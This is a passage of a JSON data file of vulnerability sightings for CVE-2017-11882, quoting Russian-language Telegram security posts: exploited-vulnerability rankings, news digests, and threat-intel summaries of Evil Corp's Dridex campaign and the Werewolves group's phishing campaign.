\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u041f\u041e. \u0427\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, 15 \u0438\u0437 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432 \u0440\u0435\u0439\u0442\u0438\u043d\u0433\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b Microsoft.\n\n\u2757\ufe0f\u0422\u0430\u043a, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0435\u0440\u0432\u043e\u0435 \u043c\u0435\u0441\u0442\u043e \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2017-11882: \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Microsoft Office, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0434\u043b\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u0432 467 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u041f\u041e, \u0430\u0442\u0430\u043a\u0430\u0445 53 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0438 14 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430\u0445.\n\n\u041e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0441 \u0440\u0435\u0439\u0442\u0438\u043d\u0433\u043e\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\n\n\ud83d\udcactg_AC", "creation_timestamp": "2023-09-07T16:46:00.000000Z"}, {"uuid": "817aa6f7-8aae-4224-b55e-aa7350eb0462", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/monkey_hacker/28", "content": "\u0420\u0430\u043d\u043e\u0432\u0430\u0442\u043e, \u043d\u043e \u0442\u0430\u043a\u0438 \u0434\u0430\n\u0422\u041e\u041f 10 \u0438\u0437 2022\n\n1. Follina (CVE-2022-30190)\n2. Log4Shell (CVE-2021-44228)\n3. Spring4Shell (CVE-2022-22965)\n4. F5 BIG-IP (CVE-2022-1388)\n5. Google Chrome zero-day (CVE-2022-0609)\n6. Old but not forgotten - Microsoft Office bug (CVE-2017-11882)\n7. ProxyNotShell (CVE-2022-41082, CVE-2022-41040)\n8. Zimbra Collaboration Suite bugs (CVE-2022-27925, CVE-2022-41352)\n9. Atlassian Confluence RCE flaw (CVE-2022-26134)\n10. Zyxel RCE vulnerability (CVE-2022-30525)", "creation_timestamp": "2022-11-29T07:00:36.000000Z"}, {"uuid": "6c67d66f-f197-42e4-b6e6-cb5a2c763c8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/package_security/17", "content": "\u200b\ud83c\udfc6 \u0418\u0442\u043e\u0433\u0438 \u0433\u043e\u0434\u0430\n\n\u041d\u0430\u0441\u0442\u0430\u043b\u043e \u0432\u0440\u0435\u043c\u044f \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0433\u043e\u0432\u043e\u0440\u0438\u0442\u044c \u043e \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u0435.\n2\u043a22 \u0433\u043e\u0434 \u043d\u0430\u043a\u043e\u043d\u0435\u0446-\u0442\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u043a \u043a\u043e\u043d\u0446\u0443, \u0430 \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442, \u0447\u0442\u043e \u043f\u043e\u0440\u0430 \u043f\u043e\u0434\u0432\u043e\u0434\u0438\u0442\u044c \u0438\u0442\u043e\u0433\u0438.\n\n\u0423 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0438\u043a\u043e\u0432, \u043a\u0430\u043a \u0438 \u0432\u0441\u0435\u0433\u0434\u0430, \u0438\u0442\u043e\u0433\u0438 \u0441\u0432\u043e\u0438. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u0435\u0440\u0436\u0438\u0442\u0435 \u0422\u041e\u041f-10 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 2022 \u0433\u043e\u0434\u0443 \u043f\u043e \u0432\u0435\u0440\u0441\u0438\u0438 Cyber Threat Intelligence:\n\n1. Follina (CVE-2022-30190) \n\n2. Log4Shell (CVE-2021-44228) \n\n3. Spring4Shell (CVE-2022-22965) \n\n4. F5 BIG-IP (CVE-2022-1388) \n\n5. Google Chrome zero-day (CVE-2022-0609) \n\n6. Old but not forgotten - Microsoft Office bug (CVE-2017-11882) \n\n7. ProxyNotShell (CVE-2022-41082, CVE-2022-41040) \n\n8. Zimbra Collaboration Suite bugs (CVE-2022-27925, CVE-2022-41352) \n\n9. Atlassian Confluence RCE flaw (CVE-2022-26134) \n\n10. Zyxel RCE vulnerability (CVE-2022-30525)\n\n\u0411\u0443\u0434\u044c\u0442\u0435 \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u044b, \u0431\u0435\u0440\u0435\u0433\u0438\u0442\u0435 \u0441\u0435\u0431\u044f \u0438 \u0432\u0430\u0448\u0438 \u0441\u0435\u0440\u0432\u0438\u0441\u044b.\nP.S. \u041d\u0438\u0436\u0435 \u0435\u0441\u0442\u044c \u043f\u0438\u043a\u0447\u0430 \u0441 \u043d\u0430\u0433\u043b\u044f\u0434\u043d\u044b\u043c\u0438 \u0438\u043a\u043e\u043d\u043a\u0430\u043c\u0438\n\n#\u041f\u043e\u043b\u0435\u0437\u043d\u043e\u0435\n\n\u041f\u0430\u043a\u0435\u0442 \u0411\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438", "creation_timestamp": "2022-12-16T15:56:36.000000Z"}, {"uuid": "f4abb2bc-982d-419c-b700-870a3dd667c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/malwarehunters/322", "content": "\u2757\ufe0f\u041a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u00abEvil Corp\u00bb \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0431\u043e\u0442\u043d\u0435\u0442 \u00abDridex\u00bb \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u00abMaaS\u00bb-\u0442\u0440\u043e\u044f\u043d\u043e\u0432 \u00abRemcosRAT\u00bb, \u00abRedLine Stealer\u00bb, \u00abAgentTesla\u00bb\n\n\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043b\u043e\u0430\u0434\u0435\u0440\u043e\u0432 \u043c\u0430\u043b\u0432\u0430\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b MS Office \u0441 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u043c \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2017-11882, \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0449\u0438\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u044d\u043c\u043f\u043b\u044b \u0441 \u0440\u0430\u043d\u0435\u0435 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0445 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u0437\u0430\u0440\u0443\u0431\u0435\u0436\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439\n\nDashboard \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u00abDridex\u00bb\n\ud83d\udcca malwarehunters.org/infographics/malware%3Ddridex\n\n\ud83d\udccc malwarehunters.org/report/43\n\ud83d\udc26 twitter.com/@_malwarehunters\n\n\ud83d\udd11 #report #dridex #evilcorp", "creation_timestamp": "2022-06-22T12:45:38.000000Z"}, {"uuid": "28547db1-3027-41f6-94ad-a19e1c4fd325", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/itsec_news/12", "content": "\u041f\u043e\u0434\u0431\u043e\u0440\u043a\u0430 \u043d\u043e\u0432\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 7 \u043c\u0430\u0440\u0442\u0430 2019 \u0433\u043e\u0434\u0430\n\n\u26a1\ufe0f \u041a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0438\u0437 \u0421\u0435\u0440\u0431\u0438\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2017-11882) \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b Microsoft Equation \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446 \u0438 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043e\u0432. \nhttps://www.securitylab.ru/news/498245.php\n\n\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u0438, \u0432\u043e \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432\u0437\u043b\u043e\u043c iPhone\nhttps://riafan.ru/1158358-eksperty-vyyasnili-vo-skolko-khakeram-obkhoditsya-vzlom-iphone\n\n\u042d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0435 \u043a\u0430\u0440\u043c\u0430\u043d\u043d\u0438\u043a\u0438 \u0432\u043e\u0440\u0443\u044e\u0442 \u043d\u0430\u0448\u0438 \u0434\u0435\u043d\u044c\u0433\u0438 \u043d\u0430 \u0441\u0430\u0439\u0442\u0430\u0445 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u0439\nhttps://www.kp.ru/daily/26951.4/4003077/\n\n\u0422\u0440\u044d\u0448. \u0411\u0443\u0445\u0433\u0430\u043b\u0442\u0435\u0440\u044b \u043f\u043b\u0430\u0442\u044f\u0442 \u0432\u044b\u043a\u0443\u043f: \u043a\u043e\u043c\u0443, \u0437\u0430 \u0447\u0442\u043e \u0438 \u0441\u043a\u043e\u043b\u044c\u043a\u043e\nhttps://www.klerk.ru/buh/articles/483175/\n\n\u26a1\ufe0f \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Cisco \u043f\u043e\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043b\u0430 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\u043c \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u043e\u0432 Cisco Nexus \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u044e PowerOn Auto Provisioning (POAP) \u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0441\u043e\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u043c\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \nhttps://www.securitylab.ru/news/498254.php\n\n\u041a\u043e\u043d\u0441\u043e\u0440\u0446\u0438\u0443\u043c \u0412\u0441\u0435\u043c\u0438\u0440\u043d\u043e\u0439 \u043f\u0430\u0443\u0442\u0438\u043d\u044b (World Wide Web Consortium, W3C) \u0438 \u0430\u043b\u044c\u044f\u043d\u0441 FIDO \u043f\u0440\u0438\u043d\u044f\u043b\u0438 \u043d\u043e\u0432\u044b\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 Web Authentication (WebAuthn) \u0434\u043b\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u0432 \u0441\u0435\u0442\u044c \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f. \nhttps://www.securitylab.ru/news/498253.php", "creation_timestamp": "2019-03-07T18:34:55.000000Z"}, {"uuid": "352352b4-ce4c-4412-907a-3fe02e38aa4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/Russian_OSINT/5746", "content": "\u041a\u0430\u043d\u0430\u043b \ud83d\udd28SecAtor \u2014 @true_secator \u043f\u0438\u0448\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435:\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 F6\u00a0\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u0432\u043e\u043b\u043d\u0443 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0440\u0430\u0441\u0441\u044b\u043b\u043e\u043a, \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e\u00a0Werewolves \u0438 \u043c\u0438\u043d\u0438\u0440\u0443\u044e\u0449\u0443\u044e \u043f\u043e\u0434 \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0435 \u0434\u043e\u0441\u0443\u0434\u0435\u0431\u043d\u044b\u0435 \u043f\u0440\u0435\u0442\u0435\u043d\u0437\u0438\u0438 \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0437\u0430\u0432\u043e\u0434\u0430 \u0441\u043f\u0435\u0446\u0442\u0435\u0445\u043d\u0438\u043a\u0438, \u0431\u0430\u0437\u044b \u043e\u0442\u0434\u044b\u0445\u0430 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f.\n\nWerewolves\u00a0- \u0433\u0440\u0443\u043f\u043f\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u0441 2023 \u0433\u043e\u0434\u0430, \u0432 \u0430\u0440\u0441\u0435\u043d\u0430\u043b\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 Anydesk, Netscan, CobaltStrike, Meterpreter \u0438 Lockbit.\n\n\u0425\u0430\u043a\u0435\u0440\u044b \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u044b \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f, \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0438 IT-\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0435 \u0438 \u0441\u0442\u0440\u0430\u0445\u043e\u0432\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438. \n\n\u0411\u0430\u043d\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0442\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u0443\u044e \u0442\u0435\u0445\u043d\u0438\u043a\u0443 \u0434\u0432\u043e\u0439\u043d\u043e\u0433\u043e \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430: \u043f\u043e\u043c\u0438\u043c\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0432\u044b\u043a\u0443\u043f\u0430 \u0437\u0430 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443 \u0434\u0430\u043d\u043d\u044b\u0445, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u044b\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u044e\u0442 \u043d\u0430 DLS \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0442\u0435\u0445, \u043a\u0442\u043e \u043e\u0442\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043f\u043b\u0430\u0442\u0438\u0442\u044c.\n\n\u041f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0430\u044f \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f Werewolves \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c\u00a0\u0432 \u043c\u0430\u0440\u0442\u0435 2025 \u0433\u043e\u0434\u0430, \u0430 \u0435\u0449\u0435 \u0440\u0430\u043d\u0435\u0435 \u0432\u0435\u0441\u043d\u043e\u0439\u00a024-\u0433\u043e, \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u0438\u00a0\u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0435 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0442\u0435\u043c\u0443 \u0432\u0435\u0441\u0435\u043d\u043d\u0435\u0433\u043e \u043f\u0440\u0438\u0437\u044b\u0432\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435\u00a0\u0441\u043e\u0437\u0434\u0430\u043b\u0438\u00a0\u0434\u043e\u043c\u0435\u043d kzst45[.]ru, \u043c\u0430\u0441\u043a\u0438\u0440\u0443\u044e\u0449\u0438\u0439\u0441\u044f \u043f\u043e\u0434 \u0441\u0430\u0439\u0442 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u0441\u043f\u0435\u0446\u0442\u0435\u0445\u043d\u0438\u043a\u0438.\n\n\u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043d\u0435\u0433\u043e Werewolves \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0441\u0441\u044b\u043b\u0430\u043b\u0438\u00a0\u043f\u0438\u0441\u044c\u043c\u0430 \u0441 \u0442\u0435\u043c\u0430\u043c\u0438 \u00ab\u0414\u043e\u0441\u0443\u0434\u0435\u0431\u043d\u0430\u044f \u043f\u0440\u0435\u0442\u0435\u043d\u0437\u0438\u044f\u00bb \u0438 \u00ab\u0420\u0435\u043a\u043b\u0430\u043c\u0430\u0446\u0438\u044f\u00bb, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0438\u0441\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0432\u0448\u0438\u0435 Cobalt Strike's Beacon.\n\n\u0412\u0435\u0441\u043d\u043e\u0439 2025 \u0433\u043e\u0434\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 F6 \u043e\u0442\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u0437 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u0444\u0435\u0440, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0431\u0430\u043d\u043a\u0438, \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f, \u0440\u0438\u0442\u0435\u0439\u043b \u0438 \u043b\u043e\u0433\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438.\n\n\u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0432 \u0438\u044e\u043d\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0432\u043d\u043e\u0432\u044c \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b\u0438 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0443, \u043d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 - \u0432 \u0430\u0434\u0440\u0435\u0441 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445, \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0445, \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0438 \u0440\u0438\u0442\u0435\u0439\u043b\u0435\u0440\u043e\u0432.\n\n\u0414\u043b\u044f \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043f\u0438\u0441\u044c\u043c\u0430 \u043f\u0440\u0430\u0432\u043e\u0432\u043e\u0439 \u0438 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e\u0439 \u0442\u0435\u043c\u0430\u0442\u0438\u043a\u0438. \u0413\u0440\u0443\u043f\u043f\u0430 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0442\u043e\u0442 \u0436\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439, \u0447\u0442\u043e \u0438 \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0442\u0435\u043c \u0432 \u0438\u044e\u043d\u044c\u0441\u043a\u0438\u0445 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0430\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c: \u00ab\u0414\u043e\u0441\u0443\u0434\u0435\u0431\u043d\u0430\u044f \u043f\u0440\u0435\u0442\u0435\u043d\u0437\u0438\u044f\u00bb, \u00ab\u0414\u043e\u0441\u0443\u0434\u0435\u0431\u043d\u043e\u0435\u00bb, \u00ab\u0423\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 (\u0434\u043e\u0441\u0443\u0434\u0435\u0431\u043d\u043e\u0435)\u00bb.\n\n\u0412\u043e \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0440\u0430\u0441\u0441\u044b\u043b\u0430\u043b\u0441\u044f \u0430\u0440\u0445\u0438\u0432 \u0441\u00a0LNK-\u0444\u0430\u0439\u043b, \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0434\u0432\u043e\u0439\u043d\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435, \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 Microsoft Office \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2017-11882.\n\n\u0412 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u043c\u043e\u043c \u0430\u0440\u0445\u0438\u0432\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0441\u044f \u0444\u0430\u0439\u043b \u0441 \u0434\u0432\u043e\u0439\u043d\u044b\u043c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435\u043c .pdf.lnk, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 (PDF, DOC \u0438 \u0442.\u0434.).\n\n\u0420\u0430\u0441\u0447\u0435\u0442 \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u0440\u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u0445 Windows \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0441\u043a\u0440\u044b\u0442\u044b, \u0442.\u0435. \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0432\u0438\u0434\u0438\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \".pdf\u00bb, \u0447\u0442\u043e \u0441\u043d\u0438\u0436\u0430\u0435\u0442 \u0431\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u0438 \u0436\u0435\u0440\u0442\u0432\u0430 \u043c\u043e\u0436\u0435\u0442 